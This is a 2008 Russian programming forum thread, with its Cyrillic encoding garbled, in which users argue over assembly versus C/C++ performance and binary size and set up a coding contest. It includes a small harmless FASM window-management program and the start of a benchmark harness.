Kallikanzarid, можете ÑоглашатьÑÑ - ÑущеÑтвуют Ñпециальные ужатые верÑии CRT - http://www.microsoft.com/msj/archive/S569.aspx
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 20:52
J0ker, ну у ваÑ-то они уже давно закончилиÑÑŒ
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 20:54
J0ker, да ну, +зачем мне такие извращениÑ? У Ð¼ÐµÐ½Ñ 1 гиг памÑти, полгига видеопамÑти, 2 +мега кÑш второго уровнÑ, 150 гигов диÑкового проÑтранÑтва и безлимитный +интернет на 1 мегабит - а Ñ Ð±ÑƒÐ´Ñƒ боротьÑÑ Ñ Ð»Ð¸ÑˆÐ½Ð¸Ð¼Ð¸ килобайтами +Ñкзешника?
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 20:55
Kallikanzarid, Ñто ÑÐ¼Ð¾Ñ‚Ñ€Ñ Ð² какой Ñфере объем не критичен, кое где четверть метра Ñто очень много

Добавлено через 55 Ñекунд
Цитата(Kallikanzarid @  9.12.2008,  20:54 Ðайти цитируемый поÑÑ‚)
J0ker, +да ну, зачем мне такие извращениÑ? У Ð¼ÐµÐ½Ñ 1 гиг памÑти, полгига +видеопамÑти, 2 мега кÑш второго уровнÑ, 150 гигов диÑкового +проÑтранÑтва и безлимитный интернет на 1 мегабит - а Ñ Ð±ÑƒÐ´Ñƒ боротьÑÑ Ñ +лишними килобайтами Ñкзешника? 

поменьше бы таких программиÑтов...
+
+ + + + + + +
Ðвтор: J0ker 9.12.2008, 20:56
Цитата(Kallikanzarid @ 9.12.2008,  20:54)
J0ker, +да ну, зачем мне такие извращениÑ? У Ð¼ÐµÐ½Ñ 1 гиг памÑти, полгига +видеопамÑти, 2 мега кÑш второго уровнÑ, 150 гигов диÑкового +проÑтранÑтва и безлимитный интернет на 1 мегабит - а Ñ Ð±ÑƒÐ´Ñƒ боротьÑÑ Ñ +лишними килобайтами Ñкзешника?

так Ñ Ð¿Ñ€ÐµÐ´Ð»Ð°Ð³Ð°ÑŽ взÑть и задачу поÑложнее - чтоб функций из CRT было побольше задейÑтвовано
чел +же не понимает, что как только понадобитÑÑ Ð¸Ñпользовать что-то +поÑложней - то придетÑÑ Ð»Ð¸Ð±Ð¾ Ñамому вÑе ручками пиÑать (пуÑть +затрахаетÑÑ), либо подключать ту-же CRT - а результат по размеру буде +ÑтремитьÑÑ Ðº общему - может тогда въедет, что такое мазохизм  smile

Добавлено через 1 минуту и 44 Ñекунды
Цитата(GoldFinch @  9.12.2008,  20:55 Ðайти цитируемый поÑÑ‚)
Kallikanzarid, Ñто ÑÐ¼Ð¾Ñ‚Ñ€Ñ Ð² какой Ñфере объем не критичен, кое где четверть метра Ñто очень много

а, проÑтите мое любопытÑтво, ГДЕ?
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 21:02
Цитата

так Ñ Ð¿Ñ€ÐµÐ´Ð»Ð°Ð³Ð°ÑŽ взÑть и задачу поÑложнее - чтоб функций из CRT было побольше задейÑтвовано

Ðе, +Ñто уже ниже поÑÑа. Лучше взÑть вычиÑлительную задачу, но Ñ +иÑпользованием маÑÑивов. Рто Ð¿Ñ€ÐµÐ´Ñ‹Ð´ÑƒÑ‰Ð°Ñ Ð½Ðµ дала развернутьÑÑ Ñ€Ð°Ñкрутке +циклов и автоматичеÑкой векторизации :-(

Добавлено через 1 минуту и 51 Ñекунду
Цитата

поменьше бы таких программиÑтов... 

Как +Ñказать. Я хотел плакать, когда узнал, как разработчики ОС Minuet +гордÑÑ‚ÑÑ Ñвоим TCP-Ñтеком. Именно тем фактом, что им удалоÑÑŒ Ñделать +TCP-Ñтек. Ðа аÑÑемблере.
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 21:16
J0ker, вы когданить видели например графичеÑкую ОС ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð²Ð»ÐµÐ·Ð°ÐµÑ‚ на диÑкету?

Kallikanzarid, а ты Ñделал Ñвой TCP-Ñтек чтобы так говорить? Или знаеш как его Ñделать?
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 21:22
Цитата

J0ker, вы когданить видели например графичеÑкую ОС ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð²Ð»ÐµÐ·Ð°ÐµÑ‚ на диÑкету?

Kallikanzarid, а ты Ñделал Ñвой TCP-Ñтек чтобы так говорить? Или знаеш как его Ñделать? 

1) Я уже давно не видел ни одной Ð´Ð¸Ñкеты.
2) Ðет. ÐœÐµÐ½Ñ Ñтот Ð²Ð¾Ð¿Ñ€Ð¾Ñ Ð½Ðµ интереÑовал. Однако Ñ Ð·Ð½Ð°ÑŽ, что в никÑах Ñти Ñтеки были, еще когда Ð¼ÐµÐ½Ñ Ð½Ð° Ñвете не было.

ЗЫ: так новый раунд будет? Ты уже выбрал задачу?
+
+ + + + + + +
Ðвтор: J0ker 9.12.2008, 21:23
Цитата(GoldFinch @  9.12.2008,  21:16 Ðайти цитируемый поÑÑ‚)
J0ker, вы когданить видели например графичеÑкую ОС ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð²Ð»ÐµÐ·Ð°ÐµÑ‚ на диÑкету?

а зачем? у Ð¼ÐµÐ½Ñ Ð¸ флоповода-то нету  smile 
зато еÑть Ñтааааарый флеш-драйв купленный лет 5-6 назад размером 512 метров  smile 
и, +еÑли мне не изменÑет памÑть, размер даже 5-ти дюймового диÑка был 360кБ +в пору моей молодоÑти (извините, перфокарты зацепил только чуть-чуть) - +так размер CRT вÑе равно меньше значительно, а вÑÑŽ функциональноÑть +иначе вам придетÑÑ Ñ€ÑƒÑ‡ÐºÐ°Ð¼Ð¸ пиÑать и вы вÑе равно придете к тому-же +размеру   smile

Добавлено через 1 минуту и 57 Ñекунд
Цитата(GoldFinch @  9.12.2008,  21:16 Ðайти цитируемый поÑÑ‚)
а ты Ñделал Ñвой TCP-Ñтек чтобы так говорить? Или знаеш как его Ñделать? 

Ñ Ð½Ðµ пиÑал
но знаю как
не вижу здеÑÑŒ никакого геройÑтва кроме гемороÑ
задача-то тривиальнаÑ, вÑе Ñтандарты еÑть
+
+ + + + + + +
Ðвтор: Mayk 10.12.2008, 08:25
клйовый тред, в избранное!

Цитата(GoldFinch @  10.12.2008,  00:55 Ðайти цитируемый поÑÑ‚)

поменьше бы таких программиÑтов... 

ДейÑтвительно кому нужны программеры которые вмеÑто того чтобы пиÑать 2 чаÑа на аÑме будут пиÑать пÑть минут на Ñи?

Цитата(GoldFinch @  10.12.2008,  01:16 Ðайти цитируемый поÑÑ‚)
вы когданить Ð²Ð¸Ð´ÐµÐ»Ð¸ Ð½Ð°Ð¿Ñ€Ð¸Ð¼ÐµÑ€ графичеÑкую ОС ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð²Ð»ÐµÐ·Ð°ÐµÑ‚ на диÑкету?

Ðу Ñ Ð²Ð¸Ð´ÐµÐ»  MenuetOS.  Ðе  Ð·Ð½Ð°ÑŽ что Ñ Ð½Ð¸Ð¼ еще можно Ñделать кроме как "увидеть". 
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 13:07
Цитата(Kallikanzarid @  9.12.2008,  21:22 Ðайти цитируемый поÑÑ‚)
так новый раунд будет? Ты уже выбрал задачу? 

близкую +к реальной задачу значит... допуÑтим так... надо разработать программу +Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ SFX архивов, размер раÑпаковщика определÑетÑÑ Ñледующими +требованиÑми:
архивы хранÑÑ‚ÑÑ Ð² библиотеке архивов на хоÑтинге Ñ Ð¼Ð°ÐºÑимально доÑтупным диÑковым проÑтранÑтвом 100Мб,
файлов примерно 500-550,
размер 1 файла в диапазоне от 10 до 350кБ, 
раÑпаковщик должен быть не более 20% от размера файла

Ñ†ÐµÐ»ÐµÐ²Ð°Ñ +ОС - 32разрÑÐ´Ð½Ð°Ñ WinXP, Ñ‚.к. задача теÑÑ‚Ð¾Ð²Ð°Ñ - никакой реальной +упаковки не требуетÑÑ, при запуÑке раÑпаковщик извлекает файл в +указанную пользователем папку.
+
+ + + + + + +
Ðвтор: Kallikanzarid 10.12.2008, 14:06
Что, на производительноÑть аÑма ты забил? Зачем опÑть гнешь Ñвои 2кб? Блин, будь мужчиной уже  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 15:01
Kallikanzarid, +так или иначе, каким бы производительным твой код не был, Ñ Ð²Ñегда могу +извлечь код из твоего бинарника, оптимизировть и заÑунуть в Ñвой. Там +вÑегда будет что оптимизировать, и Ñ Ñ…Ð· о каком Ñоревновании тут может +идти речь.
+
+ + + + + + +
Ðвтор: Kallikanzarid 10.12.2008, 15:06
Слив заÑчитан  smile 
+
+ + + + + + +
Ðвтор: Mayk 10.12.2008, 15:21
Цитата(GoldFinch @  10.12.2008,  19:01 Ðайти цитируемый поÑÑ‚)
Ñ Ð²Ñегда могу извлечь код из твоего бинарника, оптимизировть и заÑунуть в Ñвой.

Ñто равноÑильно заÑвлению "компилÑтор пишет аÑмовÑкий код лучше чем Ñ" ÐºÑтати
+
+ + + + + + +
Ðвтор: mes 10.12.2008, 15:44
Цитата(GoldFinch @  10.12.2008,  15:01 Ðайти цитируемый поÑÑ‚)
Kallikanzarid, +так или иначе, каким бы производительным твой код не был, Ñ Ð²Ñегда могу +извлечь код из твоего бинарника, оптимизировть и заÑунуть в Ñвой. Там +вÑегда будет что оптимизировать, и Ñ Ñ…Ð· о каком Ñоревновании тут может +идти речь. 

Да неблагодарное +Ñто дело, Ñравнивать Ñзыки без ориентировки на определенную задачу. Так +же как например взÑть руÑÑкий и английÑкий. Имхо, у руÑÑкого больше +форм и возможноÑтей выражениÑ
- но Ñто его преимущеÑтво ÑвлÑетÑÑ Ð½ÐµÐ´Ð¾Ñтатком, при техничеÑком применение. ÐнглийÑкий же в данном аÑпекте более удобен.

Также +cpp, c, asm разнÑтьÑÑ Ð¾Ñ‚ абÑтрактноÑти мыÑли к ее точному применению. +Да на аÑме можно заточить алгоритм под конкретную архитектуру .. +Ñ€ÐµÑˆÐµÐ½Ð½Ð°Ñ Ñта же задача на Ñи будет переноÑима, 
а на cpp к тому +же даÑÑ‚ гарантию проверки типов. Т.е отдалÑÑÑÑŒ от точноÑти разъÑÑÐ½ÐµÐ½Ð¸Ñ +алгоритма конкретной машины, мы приходим к тому что машина (компилÑтор) +Ñама подгонÑет и контролирует 
код, а результативный код +удовлетворÑет выдвинутым задачей требованиÑм (в одних ÑлучаÑÑ… критичен +размер, в других ÑкороÑть, в третьих безопаÑноÑть кода и Ð´Ð»Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ +поддержа и раÑширение)

ТеÑты показывают что c/cpp не отÑтает от +аÑма по ÑкороÑти. Да по размеру бинарника аÑм +выигрывает,  Ð·Ð°Ñ‚о проигрывает в ых Ñферах Ñ Ñ‡ÐµÐ»Ð¾Ð²ÐµÑ‡ÐµÑким +фактором..  
Ðу а  ÑкороÑть и размер длѠ"потребительÑких" Ð·Ð°Ð´Ð°Ñ‡ уже давно переÑтали быть решающим требованиÑми..

Я +Ñчитаю что макÑимальный Ñффект можно добитьÑÑ ÐµÑли правильно подобрать +инÑтрумент/Ñ‹ к текущей задаче (прокопать  Ñ‚унель под +Ла-Маншем лопатой конечно геройÑтво, но задача Ñ‚Ñ€ÑƒÐ´Ð½Ð¾Ð²Ñ‹Ð¿Ð¾Ð»Ð½Ð¸Ð¼Ð°Ñ Ð¸ не +Ð¸Ð¼ÐµÑŽÑ‰Ð°Ñ ÑмыÑла), но также не надо забывать, что Ñзыки вÑего лишь +инÑтрумент, и оÑновное завиÑит от того наÑколько им хорошо умеет +пользоватьÑÑ Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ð¸ÑÑ‚  Ðµ



+
+ + + + + + +
Ðвтор: Kallikanzarid 10.12.2008, 15:47
mes, Ñ‚ÑÑÑ! Ðе порть знатный Ñрачег.
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 16:37
Цитата(mes @  10.12.2008,  15:44 Ðайти цитируемый поÑÑ‚)
Ñзыки вÑего лишь инÑтрумент, и оÑновное завиÑит от того наÑколько им хорошо умеет пользоватьÑÑ Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ð¸ÑÑ‚

ага, +так или иначе, подобное Ñравнение упираетÑÑ Ð½Ðµ в Ñравнение +производительноÑти программы вручную напиÑанной на аÑме против +производительноÑти программы напиÑанной на ЯВУ, а в маÑтерÑтво одно и +другого программиÑта.
в конце концов компилÑтор ЯВУ  - +инÑтрумент и ничто не мешает взÑть автоматичеÑки Ñгенерированный им код +и вручную доработать его до идеала.
+
+ + + + + + +
Ðвтор: mes 10.12.2008, 17:10
Цитата(GoldFinch @  10.12.2008,  16:37 Ðайти цитируемый поÑÑ‚)
инÑтрумент и ничто не мешает взÑть автоматичеÑки Ñгенерированный им код и вручную доработать его до идеала. 

такой ÑпоÑоб (еÑли конечно Ñ€ÑƒÑ‡Ð½Ð°Ñ Ð´Ð¾Ð²Ð¾Ð´ÐºÐ° необходимa) также приÑутÑтвует в данной цитате :

Цитата(mes @  10.12.2008,  15:44 Ðайти цитируемый поÑÑ‚)
макÑимальный Ñффект можно добитьÑÑ ÐµÑли правильно подобрать инÑтрумент/Ñ‹

 smile 
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 17:17
а вÑетаки +программирование на аÑме ничуть не медленнее Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° С++, +даже быÑтрее Ñ ÑƒÑ‡ÐµÑ‚Ð¾Ð¼ времени ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ проекта и компилÑции. +опÑть же на .ехешку в 1кб Ñмотреть приÑтно
Код

include 'win32a.inc'
include 'hll.inc'
format PE GUI 4.0
section 'AllInOne' code readable writeable executable
IMPORTS KERNEL32.DLL, <ExitProcess,GetLastError,FormatMessageA>,\
        USER32.DLL,   <SetWindowPos,FindWindowA,MessageBoxA>
        psMsg dd ?
entry $
      FindWindowA("GcxPropertyPageSite.Window.1",0)
            test eax,eax
            jz .err
      SetWindowPos(eax,HWND_TOPMOST,0,0,0,0,SWP_SHOWWINDOW+SWP_NOSIZE)
            test eax,eax
            jz .err
      ExitProcess()
.err:
      GetLastError()
      FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM+FORMAT_MESSAGE_IGNORE_INSERTS,\
                        0,eax,0,psMsg,0,0)
      MessageBoxA(0,[psMsg],0,0)
      ExitProcess()
+
+ + + + + + +
Ðвтор: J0ker 10.12.2008, 17:19
Цитата(mes @  10.12.2008,  15:44 Ðайти цитируемый поÑÑ‚)
ТеÑты показывают что c/cpp не отÑтает от аÑма по ÑкороÑти.

теÑты +показывают, что как только задача ÑталкиваетÑÑ Ñ Ñ€ÐµÐ°Ð»ÑŒÐ½Ð¾Ñтью +многоÑдерного процеÑÑора, то только гений может оптимизировать код +лучше компилÑтора

Добавлено через 1 минуту и 24 Ñекунды
Цитата(GoldFinch @  10.12.2008,  16:37 Ðайти цитируемый поÑÑ‚)
ничто не мешает взÑть автоматичеÑки Ñгенерированный им код и вручную доработать его до идеала

мешает, мешает
Ñм. выше
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 17:23
J0ker, здравый +ÑмыÑл подÑказывает что кодогенератор твоего компилÑтора тоже люди +пиÑали, напиÑать менее универÑальный но более Ñффективный не проблема
+
+ + + + + + +
Ðвтор: mes 10.12.2008, 17:23
Цитата(GoldFinch @  10.12.2008,  17:17 Ðайти цитируемый поÑÑ‚)
а +вÑетаки программирование на аÑме ничуть не медленнее Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ +на С++, даже быÑтрее Ñ ÑƒÑ‡ÐµÑ‚Ð¾Ð¼ времени ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ проекта и +компилÑции. опÑть же на .ехешку в 1кб Ñмотреть приÑтно

еÑли +программа длѠ Ñ€ÐµÑˆÐµÐ½Ð¸Ñ мелкой задачи то трудно оценить.. Ð +вот например ÑоÑтавить браузер или тот же Ñамый компилÑтор ? думаю мало +кто из программиÑтов отважитÑÑ Ð·Ð°Ñ‚ÐµÑть такой проект на аÑме , +хотѠ"герои" Ð±ÐµÐ·ÑƒÑловно еÑть )
+
+ + + + + + +
Ðвтор: J0ker 10.12.2008, 17:24
Цитата(GoldFinch @  10.12.2008,  17:17 Ðайти цитируемый поÑÑ‚)
а +вÑетаки программирование на аÑме ничуть не медленнее Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ +на С++, даже быÑтрее Ñ ÑƒÑ‡ÐµÑ‚Ð¾Ð¼ времени ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ проекта и +компилÑции

издеваешьÑÑ, да?  smile 
+
+ + + + + + +
Ðвтор: mes 10.12.2008, 17:28
Цитата(GoldFinch @  10.12.2008,  17:23 Ðайти цитируемый поÑÑ‚)
напиÑать менее универÑальный но более Ñффективный не проблема 

Да +ÑущеÑтвует куча компилÑторов, некоторые заточны под универÑальноÑть, +другие под конкретную архитектуру и можно выбрать тот, который больше +подходит smile 
+
+ + + + + + +
Ðвтор: J0ker 10.12.2008, 17:30
Цитата(GoldFinch @ 10.12.2008,  17:23)
J0ker, здравый ÑмыÑл подÑказывает что кодогенератор твоего компилÑтора тоже люди пиÑали

только не в пример нам лучше знающие оÑобенноÑти процеÑÑоров - Ñто во-первых
во-вторых, +логика раÑÐ¿Ð°Ñ€Ð°Ð»Ð»ÐµÐ»Ð¸Ð²Ð°Ð½Ð¸Ñ Ð½Ð°Ñтолько Ñложна, что даже люди из во-первых +не в ÑоÑтоÑнии оптимизировать более-менее Ñложный код - они Ð´Ð»Ñ Ñтого +напиÑали умную программу, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ñто делает - она называетÑÑ ÐºÐ¾Ð¼Ð¿Ð¸Ð»Ñтор

Добавлено через 1 минуту и 18 Ñекунд
Цитата(GoldFinch @  10.12.2008,  17:23 Ðайти цитируемый поÑÑ‚)
напиÑать менее универÑальный но более Ñффективный не проблема 

Ñ Ð¿ÐµÑ€Ð²Ñ‹Ð¼ ÑоглаÑен
Ñо вторым нет - Ð´Ð»Ñ Ð±Ð¾Ð»ÐµÐµ-менее Ñложного кода - Ñм.выше

Добавлено через 9 минут и 18 Ñекунд
Ñ Ð¼Ð½Ð¾Ð³Ð¾ раз ÑталкивалÑÑ Ñ Ð¿Ð¾Ð´Ð¾Ð±Ð½Ñ‹Ð¼Ð¸ Ñпорами
и +еÑли лет 10 назад еще можно было показать, что программа, напиÑÐ°Ð½Ð½Ð°Ñ Ð½Ð° +аÑÑемблере более производительна, то как только поÑвилиÑÑŒ многоÑдерные +процеÑÑоры, Ñто Ñтало практичеÑки невозможно - разборы полетов +показали, что компилÑтор может раÑкидать инÑтрукции так, что они хорошо +параллелÑÑ‚ÑÑ - при Ñтом логика оказываетÑÑ Ð½Ð°Ñтолько Ñложна, что ни +один человек не в ÑоÑтоÑнии такое напиÑать, а Ñкобы беÑÑмыÑленные Ñ +Ñ‚.з. человека операции (например замена одного оператора парой других, +выполнÑющихÑÑ Ð·Ð°Ð²ÐµÐ´Ð¾Ð¼Ð¾ медленней) приводит к повышению +производительноÑти - что обуÑловлено опÑть-таки раÑпараллеливанием
+
+ + + + + + +
Ðвтор: Kallikanzarid 10.12.2008, 17:47
Цитата

Ñ Ð¼Ð½Ð¾Ð³Ð¾ раз ÑталкивалÑÑ Ñ Ð¿Ð¾Ð´Ð¾Ð±Ð½Ñ‹Ð¼Ð¸ Ñпорами
и +еÑли лет 10 назад еще можно было показать, что программа, напиÑÐ°Ð½Ð½Ð°Ñ Ð½Ð° +аÑÑемблере более производительна, то как только поÑвилиÑÑŒ многоÑдерные +процеÑÑоры, Ñто Ñтало практичеÑки невозможно - разборы полетов +показали, что компилÑтор может раÑкидать инÑтрукции так, что они хорошо +параллелÑÑ‚ÑÑ - при Ñтом логика оказываетÑÑ Ð½Ð°Ñтолько Ñложна, что ни +один человек не в ÑоÑтоÑнии такое напиÑать, а Ñкобы беÑÑмыÑленные Ñ +Ñ‚.з. человека операции (например замена одного оператора парой других, +выполнÑющихÑÑ Ð·Ð°Ð²ÐµÐ´Ð¾Ð¼Ð¾ медленней) приводит к повышению +производительноÑти - что обуÑловлено опÑть-таки раÑпараллеливанием

Ты имел ввиду конвеерные ÑуперÑкалÑрные процеÑÑоры? Рто применительно к мультиÑдерноÑти ты напиÑал хню smile
+
+ + + + + + +
Ðвтор: J0ker 10.12.2008, 19:50
Цитата(Kallikanzarid @  10.12.2008,  17:47 Ðайти цитируемый поÑÑ‚)
Ты имел ввиду конвеерные ÑуперÑкалÑрные процеÑÑоры? Рто применительно к мультиÑдерноÑти ты напиÑал хню

о млÑ, точно, переклинило  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 20:10
J0ker, береш +Ñправочник Ðгнера Фога, и пишешь код не хуже того что генерит +компилÑтор. КомпилÑтор хорош тем что избавлÑет от рутины за Ñчет +неидеальной кодогенерации и отÑутÑÑ‚Ð²Ð¸Ñ ÑредÑтв ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ¾Ð´Ð¾Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸ÐµÐ¹
Может там и будет офигенное раÑпараллеливание, но вот идиотÑкие неоптимальноÑти типа 
push reg32 / fld dword [m32real] / fstp dword [esp]
вмеÑто
push dword [m32real]
вÑеравно оÑтанутÑÑ
+
+ + + + + + +
Ðвтор: Kallikanzarid 10.12.2008, 20:15
GoldFinch, +пользуÑÑÑŒ Ñлучаем, еще раз предлагаю тебе второй раунд. Докажи, что +аÑм-код Ð´Ð»Ñ FP или целочиÑленных вычиÑлительных методов и правда +выполнÑетÑÑ Ð±Ñ‹Ñтрее компилируемого. Ð’Ñе, что тебе нужно Ñделать - Ñто +выбрать адекватный алгоритм и напиÑать ее реализацию, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°Ð»Ð° +бы быÑтрее моей на С++.
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 20:34
Kallikanzarid, выложи Ñвой бинарник Ñ ÐµÐ³Ð¾ оптимизирую и "мой" ÐºÐ¾Ð´ будет работать быÑтрее.
ЕÑли +говорить о Ñравнении различных реализаций, то вÑе упретÑÑ Ð² то чье +программерÑкое маÑтерÑтво лучше, так Ñ Ð¸ на С++ напишу код быÑтрее +твоего ^^
+
+ + + + + + +
Ðвтор: mes 10.12.2008, 20:36
Цитата(GoldFinch @  10.12.2008,  20:34 Ðайти цитируемый поÑÑ‚)
так Ñ Ð¸ на С++ напишу код быÑтрее твоего

заочно оценили ?  Ñ‡ÑƒÐ´ÐµÑа  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 20:41
mes, ага, Ñ Ð´Ð¾Ð²ÐµÑ€Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ вероÑтноÑтью 95%
+
+ + + + + + +
Ðвтор: Kallikanzarid 10.12.2008, 20:41
GoldFinch, нет +уж - назвалÑÑ Ð³Ñ€ÑƒÐ·Ð´ÐµÐ¼ - полезай в кузов. Либо чиÑто на аÑÑемблере - ты +ведь его Ñторонник - либо чиÑто на С++. Во втором Ñлучае, ÑÑное дело, +будут беÑприÑтраÑтные Ñудьи, которые будут получать иÑходники и +батники, запуÑкающие компилÑтор, и выдавать результаты; Ð¸Ñходники +друг от друга будем хранить в тайне. Ð’ любом Ñлучае, Ñ ÑƒÐ¶Ðµ Ñутки жду от +Ñ‚ÐµÐ±Ñ Ð·Ð°Ð´Ð°Ñ‡Ñƒ.
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 21:14
Kallikanzarid, так мы что теÑтировать будем? "С++ vs аÑм" Ð¸Ð»Ð¸ "Kallikanzarid vs GoldFinch"?
+
+ + + + + + +
Ðвтор: Kallikanzarid 10.12.2008, 21:16
Давай второе.
+
+ + + + + + +
Ðвтор: GoldFinch 10.12.2008, 21:39
Ñ Ñ‚Ð¾Ð¶Ðµ Ñуп както не очень.

вобщем Ñ Ð·Ð°Ð²Ñ‚Ñ€Ð° вечером те теÑтовый алгоритм и методику Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ð½Ð°Ð¿Ð¸ÑˆÑƒ

деÑÑÑ‚Ð°Ñ Ñтраничка однако....
+
+ + + + + + +
Ðвтор: J0ker 10.12.2008, 22:13
Цитата(GoldFinch @  10.12.2008,  20:10 Ðайти цитируемый поÑÑ‚)
J0ker, береш Ñправочник Ðгнера Фога, и пишешь код не хуже того что генерит компилÑтор.

yуууу
"береш Ñправочник по шахматам и обыгрываеш КаÑпарова"  smile 

Цитата(GoldFinch @  10.12.2008,  20:10 Ðайти цитируемый поÑÑ‚)
КомпилÑтор хорош тем что избавлÑет от рутины за Ñчет неидеальной кодогенерации и отÑутÑÑ‚Ð²Ð¸Ñ ÑредÑтв ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ¾Ð´Ð¾Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸ÐµÐ¹

Ñ Ð²Ð°Ð¼ уже показал, что "неидеальноÑть" Ð¾Ð±Ñ‹Ñ‡Ð½Ð¾ вызвана непониманием - вы упорно игнорируете Ñтот факт  smile 

Цитата(GoldFinch @  10.12.2008,  20:10 Ðайти цитируемый поÑÑ‚)
Может там и будет офигенное раÑпараллеливание, но вот идиотÑкие неоптимальноÑти типа 
push reg32 / fld dword [m32real] / fstp dword [esp]
вмеÑто
push dword [m32real]
вÑеравно оÑтанутÑÑ 

упрÑмÑтво - доÑтоинÑтво Ñами знаете кого  smile 
Ñ Ð²Ð°Ð¼ знаете что Ñоветую
напишите-ка +на аÑÑемблере вычиÑлительный модуль BIONIC'а и запуÑтите - а мы +поÑмотрим, примет ли Ñервер +ваши "оптимизированные" Ð²Ñ‹Ñ‡Ð¸ÑлениѠ smile 
+
+ + + + + + +
Ðвтор: GoldFinch 11.12.2008, 21:13
Kallikanzarid, +вобщем Ñ Ð¿Ð¾Ð´ÑƒÐ¼Ð°Ð»-подумал, даже на форуме поÑпрашивал на каком алгоритме +может загнутьÑÑ Ð¡++ в отличие от аÑма, да только подходÑщего ответа не +получил, да и Ñам ничего толкового не придумал... Что попроще и 100% +Ñработает - неинтереÑно, а то что Ñложно  - Ñамому долго +пиÑать. ПришлоÑÑŒ придумать нормальную задачу, близкую к реальной.

Ðужно напиÑать функцию bool __stdcall Tick(float x);
Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ñ€Ð¸Ð½Ð¸Ð¼Ð°ÐµÑ‚ на вход некореллированную поÑледовательноÑть равномерно раÑпределенных вещеÑтвенных чиÑел Xi, 0<=Xi<A<=1
ДлѠi Ð¾Ñ‚ 0 до N-1 параметр раÑпределениѠA Ñ€Ð°Ð²ÐµÐ½ 1, Ð´Ð»Ñ Ñ‡Ð¸Ñел Ñ i от N Ð´Ð¾ 2*N-1 параметр раÑпределениѠA Ñ€Ð°Ð²ÐµÐ½ 0.5
Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð´Ð¾Ð»Ð¶Ð½Ð° возвращать 1 при i<N+D Ð¸ 0 при i>=N+D, где D - задержка ÑÑ€Ð°Ð±Ð°Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸.
ПроизводительноÑть функции оцениваетÑÑ Ð¿Ñ€Ð¾Ð¸Ð·Ð²ÐµÐ´ÐµÐ½Ð¸ÐµÐ¼ времени работы функции T Ð·Ð° одну итерацию на задержку ÑÑ€Ð°Ð±Ð°Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ D, либо Ñуммой времени выполнениѠD Ð¸Ñ‚ераций, Ñто значение должно быть минимально.
ДопуÑкаетÑÑ Ð½Ðµ более 5% ложных Ñрабатываний (возврата 0 при i<N), причем N>100, первые 100 тактов ложные ÑÑ€Ð°Ð±Ð°Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð½Ðµ ÑчитаютÑÑ.

Код функции Ñледует оформить в виде DLL и Ñделать Ñту функцию ÑкÑпортируемой, Ð¸Ð¼Ñ Ð½Ðµ важно, импортировать будем по ординалу.
Ð’ DllMain() можно инициализировать переменные, выделить памÑть и проч.

Программа теÑтированиÑ, одна и та же Ð´Ð»Ñ Ð²Ñех длл, будет загружать длл, вызывать Ñту функцию и замерÑть ее Ð²Ñ€ÐµÐ¼Ñ Ð¸ÑполнениÑ.

Примерный код программы теÑтированиÑ:
Код

int main()
{
//переменные
bool (__stdcall *Tick)(float x); //указатель на функцию

unsigned int RandSeed = GetTickCount(); //Ñдро ГПСЧ
float x; //входное данное функции
bool y; //выходное данное функции
